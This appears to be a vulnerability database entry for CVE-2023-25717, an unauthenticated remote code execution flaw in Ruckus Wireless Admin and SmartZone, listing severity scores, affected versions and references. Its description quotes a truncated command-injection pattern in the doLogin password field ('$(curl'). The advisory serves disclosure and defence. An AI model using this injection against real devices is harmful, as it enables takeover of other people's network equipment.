CVE-2023-25717

Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request, as demonstrated by a /forms/doLogin?login_username=admin&password=password$(curl substring.
Code Injection
ProviderTypeBase ScoreAtk. VectorAtk. ComplexityPriv. RequiredVector
NISTNIST
9.8 CRITICAL
NETWORK
LOW
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
mitreCNA
---
---
CVEADP
---
---
CISA-ADPADP
9.8 CRITICAL
NETWORK
LOW
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score
CVSS 3.x
EPSS Score
Percentile: 99%
VendorProductVersion
ruckuswirelessruckus_wireless_admin
𝑥
≤ 10.4
ruckuswirelesssmartzone_ap
𝑥
< 6.1.0.0.9240
ruckuswirelessruckus_wireless_admin
𝑥
≤ 10.4
ruckuswirelesssmartzone_ap
𝑥
< 5.2.2.0.2064
ruckuswirelessruckus_wireless_admin
𝑥
≤ 10.4
ruckuswirelesssmartzone_ap
𝑥
< 3.6.2.0.795
ruckuswirelessruckus_wireless_admin
𝑥
≤ 10.4
ruckuswirelesssmartzone_ap
𝑥
< 6.1.1.0.1274
ruckuswirelessruckus_wireless_admin
𝑥
≤ 10.4
ruckuswirelesssmartzone
𝑥
< 5.2.1.3
ruckuswirelessruckus_wireless_admin
𝑥
≤ 10.4
ruckuswirelesssmartzone
6.1.0.0.935
ruckuswirelessruckus_wireless_admin
𝑥
≤ 10.4
ruckuswirelessruckus_wireless_admin
𝑥
≤ 10.4
ruckuswirelesssmartzone
𝑥
< 5.2.1.3.1695
𝑥
= Vulnerable software versions
Common Weakness Enumeration
References
https://cybir.com/2023/cve/proof-of-concept-ruckus-wireless-admin-10-4-unauthenticated-remote-code-execution-csrf-ssrf/
https://support.ruckuswireless.com/security_bulletins/315
https://cybir.com/2023/cve/proof-of-concept-ruckus-wireless-admin-10-4-unauthenticated-remote-code-execution-csrf-ssrf/
https://support.ruckuswireless.com/security_bulletins/315